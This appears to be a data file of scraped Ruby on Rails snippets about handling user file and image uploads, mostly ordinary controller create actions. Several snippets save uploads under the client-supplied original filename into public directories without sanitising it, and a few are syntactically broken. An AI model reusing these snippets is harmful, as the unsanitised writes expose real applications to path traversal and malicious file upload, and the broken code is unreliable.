ImageService.new(@user, @image)\n\n respond_to do |format|\n if @service.save # Will attempt to save user and image\n format.html { redirect_to(user_url(@user, page: @current_page),\n notice: I18n.t('users.account-created')) }\n format.json { render action: 'show', status: :created, location: @user }\n else\n format.html { render action: 'new' }\n\n # CG - Changed from 422 to 400 Bad Request - Validation error.\n format.json { render json: {:errors => @user.errors.full_messages}, :status => :bad_request }\n end\n end\n end", "def create_photo_for_user(user)\n user.photos.create(\n user_id: user.id,\n title: \"Test Photo\",\n description: \"Bacon ipsum dolor sit amet beef shoulder frankfurter brisket short loin. Capicola shankle pork belly, turducken chuck doner leberkas short loin. Boudin strip steak pork loin shankle flank spare ribs shoulder. Ball tip leberkas beef shank jerky beef ribs tongue capicola short loin pork belly filet mignon ribeye pork doner.\",\n photo: fixture_file_upload(\"photos/photo1.jpg\")\n )\n end", "def upload(video, user)\r\n self.connect(user) unless user.token?\r\n uri = URI(HOST + 'feeds/api/users/default/uploads')\r\n post = Net::HTTP::Post.new uri.path\r\n post.body_stream, post.content_type = Multipart::Post.prepare_query(\"atom\" => video.atom, \"Video\" => video.file)\r\n post.add_field('Slug', video.name)\r\n post.content_type = \"multipart/related;\"\r\n post.\r\n post.body video.atom\r\n post.\r\n _http_post(uri, post, user)\r\n end", "def create\n @user = User.new(user_params)\n encoded_file = params[:user][:filename]\n if !params[:user].nil? && !encoded_file.nil? && encoded_file != \"\"\n @user.remove_image_path\n @user.create_image(encoded_file)\n end\n\n respond_to do |format|\n if @user.save then\n # Setting the conversation_user ids of the new user from 0 to the users new ID\n users_conversations = ConversationUser.where(phone: @user.phone)\n users_conversations.each do |conv_user|\n conv_user.user_id = @user.id\n conv_user.save!\n end\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :ok }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_upload_request\n call(:post, upload_path)\n end", "def create\n @user_file = UserFile.new(params[:user_file])\n\n respond_to do |format|\n if @user_file.save\n format.html { redirect_to @user_file, :notice => 'User file was successfully created.' }\n format.json { render :json => @user_file, :status => :created, :location => @user_file }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user_file.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @upload = Upload.new(upload_params)\n\n respond_to do |format|\n if @upload.save\n format.html { redirect_to @upload, notice: 'Upload was successfully created.' }\n format.json { render action: 'show', status: :created, location: @upload }\n else\n format.html { render action: 'new' }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload\n self._create params[:upfile], params[:pictitle]\n end", "def create\n if params['file'] == nil\n return redirect_to :action => :new\n end\n\n temp_file_path = params['file'].tempfile.path\n inferred_type = infer_type(temp_file_path)\n random_name = SecureRandom.uuid\n\n upload_file(random_name, temp_file_path)\n\n @upload = Upload.new(upload_params)\n @upload['uploadDate'] = Time.now\n @upload['file_extension'] = inferred_type\n @upload['s3_name'] = random_name\n @upload['full_text'] = extract_text(temp_file_path, inferred_type)\n\n if @upload.save\n redirect_to :action => :index, notice: 'Upload was successfully created.'\n else\n render :new\n end\n end", "def create\n @userfile = Userfile.new(userfile_params)\n\n respond_to do |format|\n if @userfile.save\n format.html { redirect_to @userfile, notice: 'Userfile was successfully created.' }\n format.json { render :show, status: :created, location: @userfile }\n else\n format.html { render :new }\n format.json { render json: @userfile.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @super_d_upload = current_user.super_d_uploads.build(super_d_upload_params)\n\n respond_to do |format|\n if @super_d_upload.save\n format.html { redirect_to @super_d_upload, notice: 'Super d upload was successfully created.' }\n format.json { render :new, status: :created, location: @super_d_upload }\n else\n format.html { render :new }\n format.json { render json: @super_d_upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload\n\n current_user_id = params[:current_user_id]\n print current_user_id\n filename = params[:Filename]\n print filename\n filedata = params[:Filedata]\n print filedata\n galleryname = params[:gallery_name]\n print galleryname\n\n # Construct the gallery if necessary\n gallery = Gallery.find_by_title(galleryname)\n if gallery.nil?\n gallery = Gallery.new\n gallery.title = galleryname\n gallery.person_id = current_user_id\n gallery.save\n end\n \n picture = Picture.new\n picture.picture_file_name = filename\n picture.picture_file_data = filedata\n picture.title = \"\"\n picture.person_id = current_user_id\n picture.gallery_id = gallery.id\n picture.save\n \n end", "def create\n @upload = Upload.new(upload_params)\n\n respond_to do |format|\n if @upload.save\n format.html { redirect_to new_upload_path, notice: 'Upload was successfully created.' }\n\n # Tell the UserMailer to send a welcome Email after save\n UploadMailer.send_confirmation_email(@upload).deliver\n else\n format.html { render action: 'new' }\n end\n end\n end", "def upload_image\n uploaded_image = params[:image_id]\n image_size = uploaded_image.size\n filename = uploaded_image.original_filename\n @user = User.find(params[:id])\n\n # gets the type of image and saves relevant user variable\n if params[:type] == 'avatar'\n @user.image_id = filename\n else\n @user.verification = filename\n end\n \n # saves the file locally if image size is <= 2MB and filename is not nil\n if @user.save and image_size <= 2.megabytes\n File.open(Rails.root.join('app', 'assets', 'images', filename), 'wb') do |file|\n file.write(uploaded_image.read)\n end\n flash[:success] = 'Image uploaded!'\n redirect_to edit_user_path(@user)\n else\n flash[:danger] = 'Could not upload image, verify that size less than 2MB'\n redirect_to edit_user_path(@user)\n end\n end", "def file_upload(params_userfile)\n content_upload(params_userfile.read)\n end", "def create\n @ufile = Ufile.new(params[:ufile])\n @ufile.user_id = current_user.id\n respond_to do |format|\n if @ufile.save\n format.html { redirect_to \"/ufiles\", notice: 'Ufile was successfully created.' }\n format.json { render json: @ufile, status: :created, location: @ufile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ufile.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @image = current_user.images.build(image_params)\n\n respond_to do |format|\n if @image.save\n format.html { redirect_to user_images_path(current_user), notice: 'Image was successfully created.' }\n format.json { render :show, status: :created, location: @image }\n else\n format.html { render :new }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @upload = Upload.new(params[:upload])\n\n respond_to do |format|\n if @upload.save\n format.html { redirect_to @upload, notice: 'Upload was successfully created.' }\n format.json { render json: @upload, status: :created, location: @upload }\n\t\n else\n format.html { render action: \"new\" }\n format.json { render json: @upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n @upload = Upload.new(form_params)\n @upload.user = current_user\n\n add_breadcrumb SystemConfigFieldCustomization.find_by(table_name: 'uploads', action_name: 'new')&.label || \"Upload Template\"\n\n respond_to do |format|\n if @upload.save\n notify_user(:notice, \"File was successfully uploaded.\")\n # create a job to process this file in the background\n create_upload_process_job(@upload)\n\n format.html { redirect_to uploads_url }\n format.json { render :json => @upload, :status => :created, :location => @upload }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @upload.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @picture = Picture.new(picture_params)\n @picture.user = current_user\n\n # Very simple upload\n filename = params[:picture][:filename]\n\n upload_directory = Rails.root.join('public', 'uploads')\n FileUtils.mkdir_p(upload_directory) unless File.exists?(upload_directory)\n\n File.open(Rails.root.join('public', 'uploads', filename.original_filename), 'wb') do |file|\n file.write(filename.read)\n @picture.filename = filename.original_filename\n end\n\n if @picture.save\n flash[:success] = \"Your picture was successfully uploaded\"\n redirect_to pictures_path\n else\n render :new\n end\n end", "def upload_params\n params.require(:upload).permit(:title, :upload, :user_id)\n end", "def create\n @photo= Photo.new(params[:photo])\n @user = User.find(params[:photo][:user_id])\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @user, notice: 'Photo was successfully uploaded.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user_image = UserImage.new(params[:user_image])\n\n respond_to do |format|\n if @user_image.save\n format.html { redirect_to(@user_image, :notice => 'User image was successfully created.') }\n format.xml { render :xml => @user_image, :status => :created, :location => @user_image }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user_image.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n if !user_signed_in?\n redirect_to :root\n end\n @fileupload = Fileupload.new(fileupload_params)\n\n respond_to do |format|\n if @fileupload.save\n format.html { redirect_to @fileupload, notice: 'Fileupload was successfully created.' }\n format.json { render :show, status: :created, location: @fileupload }\n else\n format.html { render :new }\n format.json { render json: @fileupload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user=User.find(params[:user_id])\n @file_upload = @user.file_uploads.new(file_upload_params)\n\n respond_to do |format|\n if @file_upload.save\n format.html { redirect_to user_file_upload_path(@user,@file_upload), notice: 'File was successfully uploaded.' }\n format.json { render :show, status: :created, location: @file_upload }\n @md5 = Digest::MD5.file(@file_upload.attachment.path).hexdigest \n @file_upload[:hash_val]=@md5\n @file_upload.save\n\n else\n format.html { render :new }\n format.json { render json: @file_upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = Photo.new(params[:photo])\n\t\t@photo.user_id = @logged_in_user.id\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was uploaded successfully.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @userfile = Userfile.new(params[:userfile])\n \n\n respond_to do |format|\n if @userfile.save\n format.html {\n render :json => [@userfile.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json { render json: {files: [@userfile.to_jq_upload] }, status: :created, location: @userfile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @userfile.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def create\n @user = current_user\n @photo = Photo.new(photo_params)\n @photo.set_user!(current_user)\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def create\n @user = User.new(params[:user])\n # TODO process errors\n # TODO create folder\n # TODO create record in Folder\n if @user.save\n Dir.mkdir(Dir.pwd+\"/app/assets/images/from_users/\"+@user.id.to_s)\n render :partial => \"/users/create\"\n else\n render :partial => \"/users/create\"\n end\n \n end", "def handle_docs_upload\n @user_document = current_user.build_user_document(document_params)\n if @user_document.save\n flash[:success] = I18n.t 'after_signup.upload_success'\n render_wizard current_user\n else\n flash[:error] = I18n.t 'after_signup.upload_failure'\n render after_signup_path(:upload_docs)\n end\n end", "def create\n @image_upload = ImageUpload.new(image_upload_params)\n\n respond_to do |format|\n if @image_upload.save\n format.html { redirect_to @image_upload, notice: 'Image upload was successfully created.' }\n format.json { render :show, status: :created, location: @image_upload }\n else\n format.html { render :new }\n format.json { render json: @image_upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # if image(s) attached they will be found inside tour_params\n @tour = Tour.new(tour_params)\n\n respond_to do |format|\n if @tour.save\n # Save the current user to the new tour's list of users... this creates the association record in the user_tours table\n @tour.users << current_user\n format.html { redirect_to @tour, notice: 'Tour was successfully created.' }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(user_params)\n\n respond_to do |format|\n\n # check if a photo was included when creating a new User\n # photo_upload = params[:photo_data]\n\n if @user.save\n User.delay.send_welcome_email(@user.id)\n format.html { redirect_to @user, notice: 'User and photo was successfully created.' }\n # redirect_to(@photo, :notice => 'Photo was successfully created.')\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n # render :action => \"new\"\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @image = Image.new(image_params)\n @image.generate_filename # a function you write to generate a random filename and put it in the images \"filename\" variable\n @image.user = current_user\n @uploaded_io = params[:image][:uploaded_file]\n File.open(Rails.root.join('public', 'images', @image.filename), 'wb') do |file|\n file.write(@uploaded_io.read)\n end\n\n if @image.save\n redirect_to @image, notice: 'Image was successfully created.'\n else\n render :new\n end\n\n #if @image.save\n #redirect_to @image, notice: 'Image was successfully created.'\n #else\n #render :new\n #end\n end", "def create\n newparams = coerce(params)\n @upload = Upload.new(newparams[:upload])\n if @upload.save\n flash[:notice] = \"Successfully created upload.\"\n respond_to do |format|\n format.html {redirect_to index}\n format.json {render :json => { :result => 'success', :upload => @upload.image.url } }\n end\n else\n render :action => 'new'\n end\n end", "def create\n @item = Item.new(item_params)\n @item.owner_id = current_user.id\n @item.purchased = 0\n @uploaded_io = params[:item][:uploaded_file]\n File.open(Rails.root.join('public', 'images', @item.filename), 'wb') do |file|\n file.write(@uploaded_io.read)\n end\n if @item.save\n redirect_to @item, notice: 'Item was successfully created.'\n else\n render :new\n end\n end", "def upload(file)\n Item.create(:upload, :file => file)\n end", "def create\n @image_upload = ImageUpload.new(params[:image_upload])\n\n respond_to do |format|\n if @image_upload.save\n format.html { redirect_to @image_upload, notice: 'Image upload was successfully created.' }\n format.json { render json: @image_upload, status: :created, location: @image_upload }\n else\n format.html { render action: \"new\" }\n format.json { render json: @image_upload.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # add validation to topic_id being an int and existing in database\n @upload = current_user.uploads.new(upload_params)\n\n # Set upload_file_size so the upload validator for monthly upload limits can take it into\n # consideration when saving the file. Perhaps there are better methods?\n @upload.upload_file_size = params[:filesize].to_i\n\n if @upload.valid?\n @upload.save\n jot = Jot.create_jot_from_upload(current_user.id, @upload.id, params[:topic_id].to_i)\n # @upload.postprocess_jot_update <-- used for local debugging\n ser_jot = JotSerializer.new(jot, :root => false, :scope => current_user)\n render :json => {:success => true, :jot => ser_jot} \n ap 'create done'\n else\n render :json => {:success => false, :errors => @upload.errors}, :status => :unprocessable_entity\n end\n\n end", "def create\n @user_photo = UserPhoto.new(user_photo_params)\n @user_photo.user_id = current_user.id\n\n @user_photo.build_photo_image\n\n if @user_photo.content_type.present?\n @user_photo.photo_image.uploaded_image = @user_photo.temp_image\n @user_photo.total_size = @user_photo.photo_image.total_size\n end\n\n respond_to do |format|\n if @user_photo.save\n #format.html { redirect_to @user_photo, notice: 'User photo was successfully created.' }\n format.html { redirect_to action: 'index' }\n format.json { render action: 'index', status: :created, location: @user_photo }\n flash.notice = 'User photo was successfully created.'\n else\n format.html { render action: 'new' }\n format.json { render json: @user_photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload\n files_saved = 0\n # Build product images from upload\n\t\tparams[:file].each do |i|\n if i[:file_data] && !i[:file_data].blank?\n new_file = UserUpload.init(i[:file_data])\n if new_file.save\n files_saved += 1\n end\n end\n end\n \n flash[:notice] = \"#{files_saved} file(s) uploaded.\"\n \n if params[:modal]\n redirect_to :action => 'image_library' and return\n else\n redirect_to :action => 'index' and return\n end\n end", "def upload_file(file_upload, owner)\n image = MiniMagick::Image.open(file_upload.tempfile.path)\n image.resize \"500x500>\"\n image.format \"jpeg\"\n\n tempfile = Tempfile.new \"item_picture\"\n image.write(tempfile)\n\n owner = \"#{current_user.id}/#{owner}\"\n\n upload = Upload.find_by(owner: owner) || Upload.new(owner: owner)\n\n upload.mime_type = \"image/jpeg\"\n upload.extension = \".jpeg\"\n upload.body = tempfile.read\n\n if upload.save\n StoreUploadToCloudJob.perform_later upload\n\n upload\n end\n end", "def userfiles_post(upload_file, data_provider_id, userfile_group_id, file_type, opts = {})\n data, _status_code, _headers = userfiles_post_with_http_info(upload_file, data_provider_id, userfile_group_id, file_type, opts)\n data\n end", "def user_params\n params.require(:upload).permit(:file)\n end", "def create\n @user = current_user\n @image = @user.images.build(image_params)\n\n respond_to do |format|\n if @image.save\n format.html { redirect_to @image.location, notice: 'Image was uploaded successfully!' }\n format.json { render :show, status: :created, location: @image }\n format.js\n else\n format.html { redirect_to @image.location, notice: 'Image could not be uploaded! Please try again.'}\n format.json { render json: @image.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "def create\n if params[:user] && params[:user][:avatar_data]\n if params[:user][:avatar_data].size <= 0\n flash[:error] = \"Please choose an image to upload.\"\n elsif !Technoweenie::ActsAsAttachment.content_types.include?(file_type = params[:user][:avatar_data].content_type.strip)\n flash[:error] = \"Sorry, we only support jpg, png, and gif files for ID Images.\"\n elsif current_user.update_attributes(params[:user])\n flash[:notice] = \"Your ID Image was uploaded successfully\"\n else\n flash[:error] = \"Your ID Image was not uploaded.\"\n end\n end\n redirect_to :controller => 'account', :action => 'congratulations'\n end", "def migrate_user url, user\n \n # make sure the url contains file stack\n return unless url.start_with? 'https://cdn.filepicker.io'\n\n open('migrated.jpg', 'wb') do |file|\n \n file << open(url).read\n \n #upload the file to the user\n attachment = ActionDispatch::Http::UploadedFile.new(tempfile: file, filename: \"migrated\", type: \"image/jpg\")\n user.avatar_src = attachment\n user.save!\t\n end\nend", "def process(path, transformations, user_id)\n file = upload_file(path, (id = SecureRandom.uuid))\n file.save\n end", "def create\n @image_user = ImageUser.new(image_user_params)\n @image_user.image_id = params[:image_id]\n \n if @image_user.save\n redirect_to @image_user.image, notice: 'Image user was successfully created.'\n else\n redirect_to @image_user.image, notice: 'Image user was not created.'\n end\n end", "def upload(path, options)\n args = sign(auth(options))\n args['photo'] = File.new(path)\n Photo.new(element(@agent.post(UPLOAD, args).body, 'photoid'))\n end", "def create\n if session[:user_id]\n user = User.find_by_id(session[:user_id])\n params[:img][:by] = user.id\n end\n @img = Img.new(params[:img])\n\n respond_to do |format|\n if @img.save\n format.html { redirect_to(@img, :notice => 'Img was successfully uploaded.') }\n format.xml { render :xml => @img, :status => :created, :location => @img }\n unless session[:user_id]\n unless session[:imgs]\n session[:imgs] = []\n end\n session[:imgs].push(@img.id)\n end\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @img.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.new(user_params)\n if params[:user][:data]\n @user.image = params[:user][:data].read # <= バイナリをセット\n @user.data_type = params[:user][:data].content_type # <= ファイルタイプをセット\n end\n respond_to do |format|\n if @user.save\n log_in @user\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n # maybe I need the following instead ?\t\n #@image = current_user.images.new(params[:image])\n @image = Image.new(params[:image])\n \n respond_to do |format|\n if @image.save\n format.html { redirect_to images_path, notice: 'Image was successfully created.' }\n\t # format.html { redirect_to images_path, notice: 'Image was successfully created.' }\n format.json { render json: images_path, status: :created, location: @image }\n else\n format.html { render action: \"new\" }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_image_object\n @user = session_user!\n args = params[:image]\n image = create_and_upload_image(args)\n render_image(image, args)\n rescue StandardError => e\n render_errors(e.to_s, args)\n end", "def create\n @upload_file = UploadFile.new(upload_file_params)\n\n respond_to do |format|\n if @upload_file.save\n format.html { redirect_to upload_files_path, notice: 'Upload file was successfully created.' }\n format.json { render :show, status: :created, location: @upload_file }\n else\n format.html { render :new }\n format.json { render json: @upload_file.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\n\t\t# Validation: Checks if user forgot to choose an image file. Also prevents user from exceeding an image count of 10.\n\t\tresponse = params[:image]\n\t\tif (response == nil || current_user.images.count == 10)\n\t\t\trender :error\n\t\telse\n\t\t\timage = Image.create(params[:image])\n\t\t\timage.update_attribute :user_id, current_user.id\n\t\t\timage.save!\n\t\t\tredirect_to images_path\n\t\tend\n\tend", "def create\n @upload_photo = UploadPhoto.new(params[:upload_photo])\n\n @upload_photo.user_id = 0 - @session_id.to_i # this will be updated when user logged in.\n @upload_photo.user_id = params[:user_id] unless params[:user_id].blank?\n\n if @upload_photo.save\n\t\t render :text => @upload_photo.data.url(:medium).split('?').first # @upload_photo.data.url(:thumb)\n else\n render :text => \"ERROR WHILE UPLOADING IMAGE\"\n end\n end", "def new\n @upload = @user.uploads.build\n authorize @upload\n end", "def upload\n\t\t@musician = User.find_by_id(current_user)\n\t\tif !params[:user].nil?\n\t\t\t@musician.avatar = params[:user][:avatar]\n\t\t\t@musician.uploaded = true\n\t\tend\n\n\t\tif @musician.save\n\t\t\tredirect_to musician_path(@musician)\n\t\telse\n\t\t\t@musician.uploaded = false if params[:user][:avatar]\n\t\t\trender 'show'\n\t\tend\n\tend", "def create\n\t\t@user = User.new(params[:user])\n\t\t#@user.type = params[:user]['type'] ? params[:user]['type'] : 'Employee'\n\t\t@user.type = 'Employee'\n if params[:user][:image_attributes]\n @image = Image.new(params[:user][:image_attributes])\n @user.image = @image\n end\n\n\t\trespond_to do |format|\n\t\t\tif @user.save\n sign_in @user, :bypass => true\n\t\t\t\tUserMailer.registration_confirmation(@user).deliver\n\t\t\t\tformat.html {\n\t\t\t\t\tif current_user && current_user.is_admin?\n\t\t\t\t\t\tredirect_to users_admins_path\n\t\t\t\t\telse\n\t\t\t\t\t\tredirect_to(@user, :notice => 'User was successfully created.')\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\tformat.xml { render :xml => @user, :status => :created, :location => @user }\n\t\t\telse\n\t\t\t\t@depts = Department.all\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n if user_signed_in?\n @image = current_user.images.build(image_params)\n else\n @image = Image.new(image_params)\n end\n\n respond_to do |format|\n if @image.save\n format.html { redirect_to image_path(@image), notice: 'Image was successfully created.' }\n format.json { render :show, status: :created, location: @image }\n else\n format.html { render :new }\n format.json { render json: @image.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload\n result = FileUploadService.new(upload_params).create\n if result[:status] == 'failed'\n flash[:error] = result[:message]\n path = root_path\n else\n path = albums_path\n flash[:success] = result[:message]\n end\n redirect_to path\n end", "def upload(file, someone)\n end", "def create\n @user_photo = UserPhoto.new(params[:user_photo])\n @user_photo.user_id = current_user.id\n\n respond_to do |format|\n if @user_photo.save\n format.html { redirect_to action: \"index\"}\n #format.html { redirect_to @user_photo, notice: 'User photo was successfully created.' }\n format.json { render json: @user_photo, status: :created, location: @user_photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user_photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def upload(options)\n raise NotReadyError, \"User hasn't been created yet\" unless created?\n Document.create options.merge(:owner => self)\n end", "def create\n if (current_user)\n @user = User.find(session[:user_id])\n\n data = nil\n\n if post_params[:image_url] && !post_params[:image_url].blank?\n urlSegments = post_params[:image_url].match(/data:(.*);base64,(.*)/)\n data = StringIO.new(Base64.decode64(urlSegments[2]))\n data.class.class_eval {attr_accessor :original_filename, :content_type}\n data.original_filename = (Time.now.to_f * 1000).to_i.to_s\n data.content_type = urlSegments[1]\n end\n\n params.delete :image_url\n\n @post = Post.new(post_params.merge(:image_url => nil, :ip => request.remote_ip, :status => 'new', :creator_id => session[:user_id]))\n @post.image_url = nil\n @post.image = data\n\n respond_to do |format|\n if @post.save\n @post.image_url = @post.image.url(:medium)\n @post.save\n format.json {render json: '[]', status: :ok}\n else\n format.json {render json: @post.errors, status: :unprocessable_entity}\n end\n end\n end\n end", "def create_specific_user(first_name:, last_name:, number:, age: )\n user = User.new(\n first_name: first_name,\n last_name: last_name,\n password: 'secret',\n description: \"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\",\n birthday: age.years.ago\n )\n user.email = \"#{user.first_name}@gmail.com\"\n\n url = \"app/assets/images/user_#{number}.jpg\"\n\n file = File.open(url)\n user.photo.attach(io: file, filename: \"#{user.first_name}_#{user.last_name}.jpg\", content_type: 'image/jpg')\n user.save!\nend", "def create\n params[:sale_on_sale_import][:user_id] = current_user.id\n @sale_on_sale_import = SaleOnSaleImport.new(params[:sale_on_sale_import])\n\n respond_to do |format|\n if @sale_on_sale_import.save\n @sale_on_sale_import.upload\n format.html { redirect_to(:back, :notice => 'Sale on sale import was successfully created.') }\n format.xml { render :xml => @sale_on_sale_import, :status => :created, :location => @sale_on_sale_import }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @sale_on_sale_import.errors, :status => :unprocessable_entity }\n end\n end\n end", "def upload(path)\n name = ::File.basename(path)\n data = ::File.read(path)\n _post_with_file(\"/files\", file: data, filename: name) { |json| json }\n end", "def create\n @image = Image.new(params[:image])\n @image = @user.images.build(params[:image])\n\n respond_to do |format|\n if @image.save\n flash[:notice] = 'Image was successfully uploaded.'\n format.html { redirect_to user_images_path(@user) }\n format.xml { render :xml => @image, :status => :created, :location => @image }\n format.js\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @image.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @user_gallery = UserGallery.new(user_gallery_params)\n\t@user_gallery.user_id = current_user.id\n\n respond_to do |format|\n if @user_gallery.save\n format.html { redirect_to @user_gallery, notice: 'User gallery was successfully created.' }\n format.json { render json: @user_gallery, status: :created }\n else\n format.html { render :new }\n format.json { render json: @user_gallery.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.find(params[:user_id])\n @mycontact = Mycontact.find(params[:mycontact_id])\n @meeting = Meeting.find(params[:meeting_id])\n @userfile = @meeting.userfiles.new(userfile_params)\n\n uploadedIo = params[:userfile][:doc]\n @userfile.filename = uploadedIo.original_filename\n meetingId = @meeting.id\n tmpFileName = meetingId.to_s + \"_\" + [uploadedIo.original_filename.split(\".\").first.downcase.parameterize, \".\", uploadedIo.original_filename.split(\".\").last].join()\n @userfile.file_name_slug = tmpFileName\n\n\n fileName = Rails.root.join('public','uploads', tmpFileName)\n File.open(fileName, 'wb') do |file|\n file.write(uploadedIo.read)\n end\n\n respond_to do |format|\n if @userfile.save\n #format.html { redirect_to @userfile, notice: 'Userfile was successfully created.' }\n format.html { redirect_to user_mycontact_meeting_userfiles_path}\n format.json { render action: 'show', status: :created, location: @userfile }\n else\n format.html { render action: 'new' }\n format.json { render json: @userfile.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = current_user.photos.build(params[:photo])\n @photo.imageable = current_user\n\n respond_to do |format|\n if @photo.save\n format.html { redirect_to @photo, notice: 'Photo was successfully created.' }\n format.json { render json: @photo, status: :created, location: @photo }\n else\n format.html { render action: \"new\" }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @photo = current_user.photos.build(photo_params)\n @photo.image_url = upload_photo_and_return_name\n respond_to do |format|\n if @photo.save\n format.html { redirect_to root_url }\n format.json { render :show, status: :created, location: @photo }\n else\n format.html { render :new }\n format.json { render json: @photo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n files = params[:files]\n\n files.each do |file|\n\n filename = file.original_filename\n\n # Rack uploads have `#tempfiles` and test uploads are Tempfile objects. More\n # investigation required.\n file = file.tempfile if file.respond_to?(:tempfile)\n\n UploadStore.create(\n :key => filename,\n :body => file,\n :public => true\n )\n end\n\n render json: {status: 'success'}\n end", "def create\n files = params[:files]\n files.each do |image|\n @product = Product.new({ image: image, user_id: current_user.id })\n @product.save\n end\n\n respond_to do |format|\n format.html { render :new }\n end\n end", "def user_attachment_params\n params.require(:user_attachment).permit(:user_id, :image)\n end", "def upload\n permitted_params = params[:attachment]\n file = permitted_params.delete(:file)\n attr = {file: file, user: current_user}\n\n if permitted_params[:attachmentable_type].present? && permitted_params[:attachmentable_id].present?\n attachmentable_type = permitted_params[:attachmentable_type]\n attachmentable_id = permitted_params[:attachmentable_id]\n attr = attr.merge(attachmentable_type: attachmentable_type, attachmentable_id: attachmentable_id)\n end\n\n attachment = Attachment.new(attr)\n if attachment.savee\n render json:{\n code: 0,\n data: AttachmentSerializer.new(attachment)\n }\n else\n render json:{\n code: -1,\n data: {\n message: attachment.errors.full_messages,\n }\n }\n end\n\n end", "def add_uploaded_file(shf_app)\n shf_app.uploaded_files << create(:uploaded_file, actual_file: File.open(UPLOAD_PNG_FILE))\n end", "def upload(file_path, options = {})\n Upload.new(file_path, self, options).upload!\n end", "def create\n\n @user = User.find(current_user.id)\n\n load_fb_images\n\n # facebook upload\n if params[:user_image] && params[:user_image][:action]\n if params[:user_image][:action]=='import_facebook_profile_pictures'\n logger.debug 'Processing FB Image Load'\n\n @facebook_profile_pictures.each do |fb_pic|\n if params[:user_image][:picture_ids].include?(fb_pic.identifier)\n logger.debug 'Loading picture --- ' + fb_pic.inspect\n photo=@user.user_images.new()\n photo.picture_from_url(fb_pic.source)\n end\n end\n\n @user.save\n\n end\n @new_photo=UserImage.new(:user_id=>@user.id)\n else\n\n # regular upload -- form submission\n @new_photo=@user.user_images.new(params[:user_image])\n\n if @new_photo.is_profile_pic\n @user.user_images.each do |ui|\n (ui.is_profile_pic=false; ui.save) if ui.id && ui.is_profile_pic\n end\n end\n\n if @user.save\n @new_photo=UserImage.new(:user_id=>@user.id)\n end\n\n end\n\n @profile_pic=@user.profile_pic\n @photos=@user.user_images.all(:conditions=>'is_profile_pic is null or is_profile_pic=false')\n\n render :index\n\n end", "def creator_upload(username, file_name, file)\r\n dir = \"creators/#{username}\"\r\n file.original_filename = file_name + (File.extname file.original_filename)\r\n return write(dir, file)\r\n end", "def upload(obj, file_path)\n begin\n res = scribd_user.upload(:file => escape(file_path), :access => access_level)\n obj.update_attributes({:ipaper_id => res.doc_id, :ipaper_access_key => res.access_key})\n rescue\n raise ScribdFuUploadError, \"Sorry, but #{obj.class} ##{obj.id} could not be uploaded to Scribd. 